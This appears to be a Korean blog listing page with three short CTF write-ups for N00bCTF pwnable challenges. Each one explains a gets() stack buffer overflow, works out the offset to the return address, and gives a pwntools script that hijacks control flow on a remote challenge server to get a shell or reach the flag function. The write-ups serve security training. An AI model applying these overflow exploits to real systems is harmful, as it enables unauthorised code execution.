목록시스템 해킹/N00bCTF - Pwnable (3)
ii4gsp

파일을 다운받아 주자. IDA로 열어보면 vuln()함수를 호출하고 인자값 18273645를 전달하고있다. vuln()함수를 보면 gets()함수로 입력을받고 a1이 12563478 이라면 result에 system("/bin/sh")를 저장하고 ret를 실행한다. s는 ebp-0x40에 위치하고 a1은 ebp+0x8에 위치한다. 즉, s ~ ret 72만큼 덮고 12563478을 리틀엔디언 방식으로 전달해주면 쉘을 획득할 수 있다. Exploit from pwn import * r = remote('52.79.224.215', 30007) payload = '' payload += '\x90' * 72 payload += p32(12563478) r.sendline(payload) r.interacti..

파일을 다운받아 주자. 파일을 IDA로 열어보면 이전 문제와 똑같다 gets()함수에서 취약점이 발생한다. s는 0x40만큼 할당되었다. 0x40은 64이다. s ~ sfp까지는 68이다. s ~ sfp 68byte를 덮어주고 ret를 get_flag()함수로 조작해주면 쉘을 획득할 수 있다. get_flag()함수의 주소는 0x08048556이다. Exploit from pwn import * r = remote('52.79.224.215', 30006) payload = '' payload += '\x90' * 68 payload += p32(0x08048556) r.sendline(payload) r.interactive()

파일을 다운받아 주자. 파일을 IDA로 열어보면 gets()함수에서 취약점이 발생한다는것을 알 수 있다. s는 0x14 즉, 10진수로 20만큼 할당되었고 sfp까지하면 24byte이다. s ~ sfp 만큼 24byte를 덮어주고 ret를 flag() 함수의 주소로 조작하면 쉘을 획득할 수 있다. flag()함수의 주소는 0x08048516 이다. Exploit from pwn import * r = remote('52.79.224.215', 30005) payload = '' payload += '\x90' * 24 payload += p32(0x08048516) r.recvuntil('>> ') r.sendline(payload) r.interactive()